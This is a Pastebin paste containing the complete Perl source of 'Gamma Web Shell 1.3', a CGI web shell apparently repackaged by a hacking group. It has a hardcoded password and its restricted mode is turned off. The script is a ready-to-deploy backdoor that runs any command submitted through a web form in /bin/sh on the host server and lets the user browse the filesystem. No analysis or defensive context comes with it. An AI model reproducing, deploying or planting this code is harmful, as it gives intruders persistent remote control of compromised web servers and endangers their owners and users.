Advertisement
i-Hmx

Gamma CGI Web Shell

Feb 20th, 2012
385
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 25.94 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ###############################################################################
  3. ### Gamma Web Shell
  4. ### Copyright 2003 Gamma Group
  5. ### All rights reserved
  6. ###
  7. ### Gamma Web Shell is free for both commercial and non commercial
  8. ### use. You may modify this script as you find necessary as long
  9. ### as you do not sell it. Redistribution is not allowed without
  10. ### prior consent from Gamma Group (support@gammacenter.com).
  11. ###
  12. ### Gamma Group <http://www.gammacenter.com>
  13. ###
  14.  
  15. use strict;
  16.  
  17. ###############################################################################
  18.  
  19. package WebShell::Configuration;
  20.  
  21. use vars qw($password $restricted_mode $ok_commands);
  22.  
  23. ##
  24. ## Password.
  25. ## Set to blank if you don't need password protection.
  26. ##
  27. $password = "cuibap";
  28.  
  29. ##
  30. ## Restricted mode.
  31. ## Set to "1" to allow only a limited set of commands.
  32. ##
  33. $restricted_mode = 0;
  34.  
  35. ##
  36. ## Available commands.
  37. ## The list of available commands for the restricted mode.
  38. ##
  39. $ok_commands = ['ls', 'ls -l', 'pwd', 'uptime'];
  40.  
  41. ###############################################################################
  42.  
  43. package WebShell::Templates;
  44.  
  45. use vars qw($LOGIN_TEMPLATE $INPUT_TEMPLATE $EXECUTE_TEMPLATE $BROWSE_TEMPLATE);
  46.  
  47. my $VERSION = 'Gamma Web Shell 1.3';
  48.  
  49. my $STYLESHEET = <<EOT;
  50. body {
  51.   font-family: Verdana, Helvetica, sans-serif;
  52.   font-size: 90%;
  53.   color: #000;
  54.   background: #FFF;
  55.   margin: 0px;
  56.   padding: 0px;
  57. }
  58.  
  59. h1, h2, h3, h4, h5, h6 {
  60.   margin: 0.3em;
  61.   padding: 0px;
  62. }
  63.  
  64. input, select, textarea, select {
  65.   font-family: Verdana, Helvetica, sans-serif;
  66.   font-size: 100%;
  67.   margin: 1px;
  68.   padding: 0px 1px;
  69. }
  70.  
  71. pre, code, tt {
  72.   font-family: 'Courier New', Courier, monospace;
  73.   font-size: 100%;
  74. }
  75.  
  76. form {
  77.   margin: 0px;
  78.   padding: 0px;
  79. }
  80.  
  81. table {
  82.   font-size: 100%;
  83. }
  84.  
  85. a {
  86.   text-decoration: none;
  87.   color: #000;
  88.   background: transparent;
  89. }
  90.  
  91. a:hover {
  92.   text-decoration: underline;
  93. }
  94.  
  95. .header, .footer {
  96.   color: #000;
  97.   background: #CCF;
  98.   margin: 0px;
  99.   padding: 0px;
  100.   text-align: center;
  101.   border: solid #000;
  102.   border-width: 1px 0px;
  103. }
  104.  
  105. .box {
  106.   border: 1px solid #000;
  107.   border-collapse: collapse;
  108.   color: #000;
  109.   background: #CCF;
  110. }
  111.  
  112. .box-header, .box-content, .box-text, .box-error, .box-menu {
  113.   border: 1px solid #000;
  114. }
  115.  
  116. .box-header, .box-header a {
  117.   color: #FFF;
  118.   background: #000;
  119. }
  120.  
  121. .box-content {
  122.   text-align: center;
  123. }
  124.  
  125. .box-text {
  126.   padding: 3px 10px;
  127.   font-size: 90%;
  128. }
  129.  
  130. .box-menu {
  131.   padding: 3px 10px;
  132. }
  133.  
  134. .box-error {
  135.   color: #FFF;
  136.   background: #F00;
  137.   font-weight: bold;
  138.   padding: 3px 25px;
  139.   text-align: center;
  140. }
  141.  
  142. .dialog {
  143.   text-align: left;
  144.   border-collapse: collapse;
  145. }
  146.  
  147. .dialog-even {
  148.   color: #000;
  149.   background: #CCF;
  150. }
  151.  
  152. .dialog-odd {
  153.   color: #000;
  154.   background: #AAE;
  155. }
  156.  
  157. .menu {
  158.   font-weight: normal;
  159. }
  160.  
  161. .menu-selected {
  162.   font-weight: bold;
  163. }
  164.  
  165. .tool {
  166.   background: transparent;
  167.   color: #000;
  168.   border-style: hidden;
  169.   border-width: 1px;
  170.   text-decoration: none;
  171. }
  172.  
  173. .tool:hover {
  174.   border-style: outset;
  175.   text-decoration: none;
  176. }
  177.  
  178. .output {
  179.   color: #FFF;
  180.   background: #000;
  181.   padding: 1em;
  182.   font-weight: bold;
  183. }
  184.  
  185. .output-text {
  186. }
  187.  
  188. .output-command {
  189.   color: #FF7;
  190.   background: #000;
  191. }
  192.  
  193. .output-error {
  194.   color: #FFF;
  195.   background: #F00;
  196. }
  197.  
  198. .entries {
  199.   border: 1px solid #777;
  200.   border-collapse: collapse;
  201. }
  202.  
  203. .entries td, .entries th {
  204.   padding: 2px 10px;
  205. }
  206.  
  207. .entries th, .entries td {
  208.   border: 1px solid #777;
  209. }
  210.  
  211. .entries-even {
  212.     color: #FFF;
  213.     background: #444;
  214. }
  215.  
  216. .entry-dir a {
  217.   color: #BBF;
  218.   background: transparent;
  219. }
  220.  
  221. .entry-exec {
  222.   color: #BFB;
  223.   background: transparent;
  224. }
  225.  
  226. .entry-file {
  227. }
  228.  
  229. .entry-mine {
  230. }
  231.  
  232. .entry-alien {
  233.   color: #FBB;
  234.   background: transparent;
  235. }
  236.  
  237. EOT
  238.  
  239. $LOGIN_TEMPLATE = <<EOT;
  240. <html>
  241.     <head>
  242.         <title>Gamma Web Shell</title>
  243.         <style type="text/css">$STYLESHEET</style>
  244.     </head>
  245.     <body>
  246.         <table width="100%" height="100%">
  247.             <tr><td class="header"><h2>$VERSION</h2></td></tr>
  248.             <tr>
  249.                 <td width="100%" height="100%" align="center" valign="center">
  250.                     <form action="cuibap.cgi" method="POST">
  251.                         <table class="box">
  252.                             <tr><th class="box-header">Login</th></tr>
  253.                             [% if error %]
  254.                                 <tr><td class="box-error">Invalid password!</td></tr>
  255.                             [% end %]
  256.                             <tr>
  257.                                 <td class="box-content">
  258.                                     <table class="dialog" width="100%">
  259.                                         <tr>
  260.                                             <td>Password:</td>
  261.                                             <td><input name="password" type="password"></td>
  262.                                         </tr>
  263.                                     </table>
  264.                                 </td>
  265.                             </tr>
  266.                             <tr>
  267.                                 <td class="box-content">
  268.                                     <input class="tool" type="submit" value="OK">
  269.                                 </td>
  270.                             </tr>
  271.                         </table>
  272.                     </form>
  273.                 </td>
  274.             </tr>
  275.             <tr><td class="footer"><h5>Copyright &copy; 2003 <a href="http://www.gammacenter.com/">Gamma Group</a> | Upload by Member of <a href=http://cuibapgroup.net/>CuiBap Group</a></h5></td></tr>
  276.         </table>    
  277.     </body>
  278. </html>
  279. EOT
  280.  
  281. $INPUT_TEMPLATE = <<EOT;
  282. <html>
  283.     <head>
  284.         <title>Gamma Web Shell</title>
  285.         <style type="text/css">$STYLESHEET</style>
  286.     </head>
  287.     <body>
  288.         <table width="100%" height="100%">
  289.             <tr><td class="header"><h2>$VERSION</h2></td></tr>
  290.             <tr>
  291.                 <td width="100%" height="100%" align="center" valign="center">
  292.                     <iframe name="output" src="cuibap.cgi?action=execute" width="80%" height="80%"></iframe>
  293.                     <br><br>
  294.                     <script type="text/javascript">
  295.                         function submit_execute() {
  296.                             var entry = document.forms.execute.elements['command'];
  297.                             if (entry.value.length > 0) {
  298.                                 entry.select();
  299.                                 entry.focus();
  300.                                 document.forms.execute.elements['action'].value = 'execute';
  301.                                 return true;
  302.                             }
  303.                             else {
  304.                                 return false;
  305.                             }
  306.                         }
  307.                         function submit_browse() {
  308.                             document.forms.execute.elements['action'].value = 'browse';
  309.                         }
  310.                     </script>
  311.                     <form name="execute" action="cuibap.cgi" method="POST" target="output">
  312.                         <input name="action" type="hidden" value="execute">
  313.                         <table class="box">
  314.                             <tr>
  315.                                 <td class="box-content">
  316.                                     <table class="dialog" width="100%">
  317.                                         <tr>
  318.                                             <th>Command:</th>
  319.                                             <td><input name="command" type="text" size="50"></td>
  320.                                             <td><input class="tool" type="submit" value="Execute" onClick="return submit_execute()"></td>
  321.                                             <td><input class="tool" type="submit" value="Browse" onClick="return submit_browse()"></td>
  322.                                         </tr>
  323.                                     </table>
  324.                                 </td>
  325.                             </tr>
  326.                         </table>
  327.                     </form>
  328.                 </td>
  329.             </tr>
  330.             <tr><td class="footer"><h5>Copyright &copy; 2003 <a href="http://www.gammacenter.com/">Gamma Group</a> | Upload by Member of <a href=http://cuibapgroup.net/>CuiBap Group</a></h5></td></tr>
  331.         </table>    
  332.     </body>
  333. </html>
  334. EOT
  335.  
  336. $EXECUTE_TEMPLATE = <<EOT;
  337. <html>
  338.     <head>
  339.         <title>Gamma Web Shell</title>
  340.         <style type="text/css">$STYLESHEET</style>
  341.     </head>
  342.     <body class="output">
  343.         [% if old_line %]
  344.             <pre class="output-command">[% old_line as html %]</pre>
  345.         [% end %]
  346.         [% if output %]
  347.             <pre class="output-text">[% output as html %]</pre>
  348.         [% end %]
  349.         [% if error %]
  350.             <pre class="output-error">[% error as html %]</pre>
  351.         [% end %]
  352.         [% if new_line %]
  353.             <pre class="output-command">[% new_line as html %]</pre>
  354.         [% end %]
  355.     </body>
  356. </html>
  357. EOT
  358.  
  359. $BROWSE_TEMPLATE = <<EOT;
  360. <html>
  361.     <head>
  362.         <title>Gamma Web Shell</title>
  363.         <style type="text/css">$STYLESHEET</style>
  364.     </head>
  365.     <body class="output">
  366.         [% if error %]
  367.             <p class="output-error">[% error as html %]</p>
  368.         [% end %]
  369.         <table class="entries" width="100%">
  370.             <tr class="entries-even" align="left">
  371.                 <th colspan="6">
  372.                     [% for entry in directory %]<code class="entry-dir"><a href="cuibap.cgi?action=browse&path=[% entry.path as url %]">[% entry.name as html %]/</a></code>[% end %]
  373.                 </th>
  374.             </tr>
  375.             <tr class="entries-odd" align="left">
  376.                 <th width="100%"><small>Name</small></th>
  377.                 <th><small>Size</small></th>
  378.                 <th><small>Time</small></th>
  379.                 <th><small>Owner</small></th>
  380.                 <th><small>Group</small></th>
  381.                 <th><small>Mode</small></th>
  382.             </tr>
  383.             [% for entry in entries %]
  384.                 <tr class="entries-[% if loop.entry.even %]even[% else %]odd[% end %]">
  385.                     <td width="100%">
  386.                         [% if entry.type_file %]
  387.                             [% if entry.type_exec %]
  388.                                 <code class="entry-exec">[% entry.name as html %]</code>
  389.                             [% else %]
  390.                                 <code class="entry-file">[% entry.name as html %]</code>
  391.                             [% end %]
  392.                         [% elif entry.type_dir %]
  393.                             <code class="entry-dir"><a href="cuibap.cgi?action=browse&path=[% entry.name as url %]">[% entry.name as html %]/</a></code>
  394.                         [% else %]
  395.                             <code class="entry-other">[% entry.name as html %]</code>
  396.                         [% end %]
  397.                     </td>
  398.                     <td align="right">
  399.                         [% if entry.type_file %]
  400.                             <code class="entry-text">[% entry.size as html %]</code></td>
  401.                         [% else %]
  402.                         &nbsp;
  403.                         [% end %]
  404.                     </td>
  405.                     <td><code class="entry-text">[% entry.time as nbsp %]</code></td>
  406.                     <td><code class="entry-[% if entry.all_rights %]mine[% else %]alien[% end %]">[% entry.user as html %]</code></td>
  407.                     <td><code class="entry-[% if entry.all_rights %]mine[% else %]alien[% end %]">[% entry.group as html %]</code></td>
  408.                     <td><code class="entry-text">[% entry.mode as html %]</code></td>
  409.                 </tr>
  410.             [% end %]
  411.         </table>
  412.     </body>
  413. </html>
  414. EOT
  415.  
  416.  
  417. ###############################################################################
  418.  
  419. package WebShell::MiniXIT;
  420.  
  421. sub new {
  422.     my ($class) = @_;
  423.     return bless {}, $class;
  424. }
  425.  
  426. sub substitute {
  427.     my ($self, $input, %keywords) = @_;
  428.     my $statements = $self->parse($input);
  429.     my $operation = $self->compile($statements);
  430.     my $output = $self->evaluate($operation, \%keywords);
  431.     return $output;
  432. }
  433.  
  434. sub parse {
  435.     my ($self, $input) = @_;
  436.     my $statements = [];
  437.     my $start = 0;
  438.     while ($input =~ /(\[%\s*(.*?)\s*%\])/g) {
  439.         my $match_end = pos($input);
  440.         my $match_start = $match_end - length($1);
  441.         if ($start < $match_start) {
  442.             my $text = substr($input, $start, $match_start-$start);
  443.             push @$statements, { id => 'text', text => $text };
  444.         }
  445.         push @$statements, $self->parse_command($2);
  446.         $start = $match_end;
  447.     }
  448.     if ($start < length($input)) {
  449.         my $text = substr($input, $start);
  450.         push @$statements, { id => 'text', text => $text };
  451.     }
  452.     return $statements;
  453. }
  454.  
  455. sub parse_command {
  456.     my ($self, $command) = @_;
  457.     if ($command =~ /^if\s+(\w+(\.\w+)*)$/) {
  458.         return { id => 'if', test => $1, };
  459.     }
  460.     elsif ($command =~ /^elif\s+(\w+(\.\w+)*)$/) {
  461.         return { id => 'elif', test => $1 };
  462.     }
  463.     elsif ($command =~ /^else$/) {
  464.         return { id => 'else' };
  465.     }
  466.     elsif ($command =~ /^for\s+(\w+)\s+in\s+(\w+(\.\w+)*)$/) {
  467.         return { id => 'for', name => $1, list => $2 };
  468.     }
  469.     elsif ($command =~ /^end$/) {
  470.         return { id => 'end' };
  471.     }
  472.     elsif ($command =~ /^(\w+(\.\w+)*)(\s+as\s+(\w+))$/) {
  473.         return { id => 'print', variable => $1, format => $4 };
  474.     }
  475.     else {
  476.         die "invalid command: '$command'";
  477.     }
  478. }
  479.  
  480. sub compile {
  481.     my ($self, $statements) = @_;
  482.     my $operation = $self->compile_sequence($statements);
  483.     if (scalar(@$statements)) {
  484.         my $statement = shift(@$statements);
  485.         my $id = $statements->{id};
  486.         die "unexpected statement: '$id'";
  487.     }
  488.     return $operation;
  489. }
  490.  
  491. sub compile_sequence {
  492.     my ($self, $statements) = @_;
  493.     my $operations = [];
  494.     while (scalar(@$statements) > 0) {
  495.         my $id = $statements->[0]->{id};
  496.         if ($id eq 'if') {
  497.             push @$operations, $self->compile_condition($statements);
  498.         }
  499.         elsif ($id eq 'for') {
  500.             push @$operations, $self->compile_loop($statements);
  501.         }
  502.         elsif ($id eq 'print' or $id eq 'text') {
  503.             my $statement = shift @$statements;
  504.             push @$operations, $statement;
  505.         }
  506.         else {
  507.             last;
  508.         }
  509.     }
  510.     return { id => 'sequence', operations => $operations };
  511. }
  512.  
  513. sub compile_condition {
  514.     my ($self, $statements) = @_;
  515.     my $conditions = [];
  516.     my $statement = shift @$statements;
  517.     my $id = defined $statement ? $statement->{id} : 'none';
  518.     while ($id eq 'if' or $id eq 'elif' or $id eq 'else') {
  519.         my $test = $id ne 'else' ? $statement->{test} : undef;
  520.         my $operation = $self->compile_sequence($statements);
  521.         push @$conditions, { test => $test, operation => $operation };
  522.         $statement = shift @$statements;
  523.         $id = defined $statement ? $statement->{id} : 'none';
  524.     }
  525.     die "'end' expected, but '$id' found" unless $id eq 'end';
  526.     return { id => 'condition', conditions => $conditions };
  527. }
  528.  
  529. sub compile_loop {
  530.     my ($self, $statements) = @_;
  531.     my $statement = shift @$statements;
  532.     my $name = $statement->{name};
  533.     my $list = $statement->{list};
  534.     my $operation = $self->compile_sequence($statements);
  535.     $statement = shift @$statements;
  536.     my $id = defined $statement ? $statement->{id} : 'none';
  537.     die "'end' expected, but '$id' found" unless $id eq 'end';
  538.     return { id => 'loop',
  539.         name => $name, list => $list, operation => $operation };
  540. }
  541.  
  542. sub evaluate {
  543.     my ($self, $operation, $keywords) = @_;
  544.     $keywords->{loop} = {};
  545.     my $chunks = $self->evaluate_operation($operation, $keywords);
  546.     return join('', @$chunks);
  547. }
  548.  
  549. sub evaluate_operation {
  550.     my ($self, $operation, $keywords) = @_;
  551.     if ($operation->{id} eq 'condition') {
  552.         return $self->evaluate_condition($operation->{conditions}, $keywords);
  553.     }
  554.     elsif ($operation->{id} eq 'loop') {
  555.         return $self->evaluate_loop($operation->{name}, $operation->{list},
  556.                 $operation->{operation}, $keywords);
  557.     }
  558.     elsif ($operation->{id} eq 'print') {
  559.         return $self->evaluate_print($operation->{variable},
  560.                 $operation->{format}, $keywords);
  561.     }
  562.     elsif ($operation->{id} eq 'sequence') {
  563.         my $chunks = [];
  564.         push @$chunks, @{$self->evaluate_operation($_, $keywords)}
  565.                 for (@{$operation->{operations}});
  566.         return $chunks;
  567.     }
  568.     elsif ($operation->{id} eq 'text') {
  569.         return [$operation->{text}];
  570.     }
  571. }
  572.  
  573. sub evaluate_condition {
  574.     my ($self, $conditions, $keywords) = @_;
  575.     for my $condition (@$conditions) {
  576.         my $test = $condition->{test};
  577.         my $value = defined $test ?
  578.                 $self->evaluate_variable($test, $keywords) : 1;
  579.         return $self->evaluate_operation($condition->{operation}, $keywords)
  580.                     if $value;
  581.     }
  582.     return [];
  583. }
  584.  
  585. sub evaluate_loop {
  586.     my ($self, $name, $list, $operation, $keywords) = @_;
  587.     my $values = $self->evaluate_variable($list, $keywords);
  588.     my $length = scalar(@$values);
  589.     my $index = 0;
  590.     my $chunks = [];
  591.     for my $value (@$values) {
  592.         $keywords->{$name} = $value;
  593.         $keywords->{loop}->{$name} = {
  594.             index => $index, number => $index+1,
  595.             first => $index == 0, last => $index == $length-1,
  596.             odd => $index % 2 == 1, even => $index % 2 == 0,
  597.         };
  598.         push @$chunks, @{$self->evaluate_operation($operation, $keywords)};
  599.         $index++;
  600.     }
  601.     delete $keywords->{$name};
  602.     delete $keywords->{loop}->{$name};
  603.     return $chunks;
  604. }
  605.  
  606. sub evaluate_print {
  607.     my ($self, $variable, $format, $keywords) = @_;
  608.     my $value = $self->evaluate_variable($variable, $keywords);
  609.     if ($format eq 'html') {
  610.         for ($value) { s/&/&amp;/g; s/</&lt;/g; s/>/&gt;/g; s/"/&quot;/g; }
  611.     }
  612.     elsif ($format eq 'nbsp') {
  613.         for ($value) {
  614.             s/&/&amp;/g; s/</&lt;/g; s/>/&gt;/g; s/"/&quot;/g; s/ /&nbsp;/g;
  615.         }
  616.     }
  617.     elsif ($format eq 'url') {
  618.         $value =~ s/(\W)/sprintf('%%%02X', ord($1))/eg;
  619.     }
  620.     elsif ($format ne '') {
  621.        
  622.         die "unknown format: '$format'";
  623.     }
  624.     return [$value];
  625. }
  626.  
  627. sub evaluate_variable {
  628.     my ($self, $variable, $keywords) = @_;
  629.     my $value = $keywords;
  630.     for my $name (split(/\./, $variable)) {
  631.         $value = $value->{$name};
  632.     }
  633.     return $value;
  634. }
  635.  
  636. ###############################################################################
  637.  
  638. package WebShell::Script;
  639.  
  640. use CGI;
  641. use CGI::Carp qw(fatalsToBrowser);
  642. use IPC::Open3;
  643. use Cwd;
  644. use POSIX;
  645.  
  646. sub new {
  647.     my ($class) = @_;
  648.     my $self = bless { }, $class;
  649.     $self->initialize();
  650.     return $self;
  651. }
  652.  
  653. sub query {
  654.     my ($self, @names) = @_;
  655.     my @values = ();
  656.     for my $name (@names) {
  657.         my $value = $self->{cgi}->param($name);
  658.         for ($value) { s/^\s+//; s/\s+$//; }
  659.         push @values, $value;
  660.     }
  661.     return wantarray ? @values : "@values";
  662. }
  663.  
  664. sub initialize {
  665.     my ($self) = @_;
  666.     $self->{cgi} = new CGI;
  667.     $self->{cwd} = $self->{cgi}->cookie(-name => 'WebShell-cwd');
  668.     $self->{cwd} = cwd unless defined $self->{cwd};
  669.     $self->{cwd} = cwd if $WebShell::Configuration::restricted_mode;
  670.     $self->{login} = 0;
  671.     my $login = $self->{cgi}->cookie(-name => 'WebShell-login');
  672.     my $password = $self->query('password');
  673.     $self->{login} = 1
  674.             if crypt($WebShell::Configuration::password, $login."XX") eq $login;
  675.     $self->{login} = 1 if $password eq $WebShell::Configuration::password;
  676. }
  677.  
  678. sub run {
  679.     my ($self) = @_;
  680.     return $self->login_action unless $self->{login};
  681.     my $action = $self->query('action');
  682.     $action = 'default' unless $action =~ /^\w+$/;
  683.     $action = $self->can($action . '_action');
  684.     $action = $self->can('default_action') unless defined $action;
  685.     $self->$action();
  686. }
  687.  
  688. sub default_action {
  689.     my ($self) = @_;
  690.     $self->publish('INPUT');
  691. }
  692.  
  693. sub login_action {
  694.     my ($self) = @_;
  695.     $self->publish('LOGIN', error => ($self->query('password') ne ''));
  696. }
  697.  
  698. sub command {
  699.     my ($self, $command) = @_;
  700.     chdir($self->{cwd});
  701.     my $pid = open3(\*WRTH, \*RDH, \*ERRH, "/bin/sh");
  702.     print WRTH "$command\n";
  703.     close(WRTH);
  704.     my $output = do { local $/; <RDH> };
  705.     my $error = do { local $/; <ERRH> };
  706.     waitpid($pid, 0);
  707.     return ($output, $error);
  708. }
  709.  
  710. sub forbidden_command {
  711.     my ($self, $command) = @_;
  712.     my $error = "This command is not available in the restricted mode.\n";
  713.     $error .= "You may only use the following commands:\n";
  714.     for my $ok_command (@$WebShell::Configuration::ok_commands) {
  715.         $error .= "    $ok_command\n";
  716.     }
  717.     return ('', $error);
  718. }
  719.  
  720. sub cd_command {
  721.     my ($self, $command) = @_;
  722.     my $error;
  723.     my $directory = $1 if $command =~ /^cd\s+(\S+)$/;
  724.     warn "cwd: '$self->{cwd}'\n";
  725.     warn "command: '$command'\n";
  726.     warn "directory: '$directory'\n";
  727.     if ($directory ne '') {
  728.         $error = $! unless chdir($self->{cwd});
  729.         $error = $! unless chdir($directory);
  730.     }
  731.     $self->{cwd} = cwd;
  732.     return ('', $error);
  733. }
  734.  
  735. sub execute_action {
  736.     my ($self) = @_;
  737.     my $command = $self->query('command');
  738.     my $user = getpwuid($>);
  739.     my $old_line = "[$user: $self->{cwd}]\$ $command";
  740.     my ($output, $error);
  741.     if ($command ne "") {
  742.         my $allow = not $WebShell::Configuration::restricted_mode;
  743.         for my $ok_command (@$WebShell::Configuration::ok_commands) {
  744.             $allow = 1 if $command eq $ok_command;
  745.         }
  746.         if ($allow) {
  747.             $command =~ /^(\w+)/;
  748.             if (my $method = $self->can("${1}_command")) {
  749.                 ($output, $error) = $self->$method($command);
  750.             }
  751.             else {
  752.                 ($output, $error) = $self->command($command);
  753.             }
  754.            
  755.         }
  756.         else {
  757.             ($output, $error) = $self->forbidden_command($command);
  758.         }
  759.     }
  760.     my $new_line = "[$user: $self->{cwd}]\$ " unless $command eq "";
  761.     $self->publish('EXECUTE',
  762.         old_line => $old_line, new_line => $new_line,
  763.         output => $output, error => $error);
  764. }
  765.  
  766. sub browse_action {
  767.     my ($self) = @_;
  768.     my $error = "";
  769.     my $path = $self->query('path');
  770.     if ($WebShell::Configuration::restricted_mode and $path ne '') {
  771.         $error = "You cannot browse directories in the restricted mode.";
  772.         $path = "";
  773.     }
  774.     $error = $! unless chdir($self->{cwd});
  775.     if ($path ne '') {
  776.         $error = $! unless chdir($path);
  777.     }
  778.     $self->{cwd} = cwd;
  779.     opendir(DIR, '.');
  780.     my @dir = readdir(DIR);
  781.     closedir(DIR);
  782.     my @entries = ();
  783.     for my $name (@dir) {
  784.         my ($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size,
  785.             $atime, $mtime, $ctime, $blksize, $blocks) = stat($name);
  786.         my $modestr = S_ISDIR($mode) ? 'd' : '-';
  787.         $modestr .= ($mode & S_IRUSR) ? 'r' : '-';
  788.         $modestr .= ($mode & S_IWUSR) ? 'w' : '-';
  789.         $modestr .= ($mode & S_ISUID) ? 's' : ($mode & S_IXUSR) ? 'x' : '-';
  790.         $modestr .= ($mode & S_IRGRP) ? 'r' : '-';
  791.         $modestr .= ($mode & S_IWGRP) ? 'w' : '-';
  792.         $modestr .= ($mode & S_ISGID) ? 's' : ($mode & S_IXGRP) ? 'x' : '-';
  793.         $modestr .= ($mode & S_IROTH) ? 'r' : '-';
  794.         $modestr .= ($mode & S_IWOTH) ? 'w' : '-';
  795.         $modestr .= ($mode & S_IXOTH) ? 'x' : '-';
  796.         my $userstr = getpwuid($uid);
  797.         my $groupstr = getgrgid($gid);
  798.         my $sizestr = ($size < 1024) ? $size :
  799.                         ($size < 1024*1024) ? sprintf("%.1fk", $size/1024) :
  800.                         sprintf("%.1fM", $size/(1024*1024));
  801.         my $timestr = strftime('%H:%M %b %e %Y', localtime($mtime));
  802.         push @entries, {
  803.             name => $name,
  804.             type_file => S_ISREG($mode),
  805.             type_dir => S_ISDIR($mode),
  806.             type_exec => ($mode & S_IXUSR),
  807.             mode => $modestr,
  808.             user => $userstr,
  809.             group => $groupstr,
  810.             order => (S_ISDIR($mode) ? 0 : 1) . $name,
  811.             all_rights => (-w $name),
  812.             size => $sizestr,
  813.             time => $timestr,
  814.         };
  815.     }
  816.     @entries = sort { $a->{order} cmp $b->{order} } @entries;
  817.     my @directory = ();
  818.     my $path = '';
  819.     for my $name (split m|/|, $self->{cwd}) {
  820.         $path .= "$name/";
  821.         push @directory, {
  822.             name => $name,
  823.             path => $path,
  824.         };
  825.     }
  826.     @directory = ({ name => '', path => '/'}) unless @directory;
  827.     $self->publish('BROWSE', entries => \@entries, directory => \@directory,
  828.             error => $error);
  829. }
  830.  
  831. sub publish {
  832.     my ($self, $template, %keywords) = @_;
  833.     $template = eval '$WebShell::Templates::' . $template . '_TEMPLATE';
  834.     my $xit = new WebShell::MiniXIT;
  835.     my $text = $xit->substitute($template, %keywords);
  836.     $self->{cgi}->url =~ m{^http://([^/]*)(.*)/[^/]*$};
  837.     my $domain = $1;
  838.     my $path = $2;
  839.     my $cwd_cookie = $self->{cgi}->cookie(
  840.         -name => 'WebShell-cwd',
  841.         -value => $self->{cwd},
  842.         -domain => $domain,
  843.         -path => $path,
  844.     );
  845.     my $login = "";
  846.     if ($self->{login}) {
  847.         my $salt = join '',
  848.                 ('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64];
  849.         $login = crypt($WebShell::Configuration::password, $salt);
  850.     }
  851.     my $login_cookie = $self->{cgi}->cookie(
  852.         -name => 'WebShell-login',
  853.         -value => $login,
  854.         -domain => $domain,
  855.         -path => $path,
  856.     );
  857.     print $self->{cgi}->header(-cookie => [$cwd_cookie, $login_cookie]);
  858.     print $text;
  859. }
  860.  
  861. ###############################################################################
  862.  
  863. package WebShell;
  864.  
  865. my $script = new WebShell::Script;
  866. $script->run;
  867.  
  868. ###############################################################################
  869. ###############################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement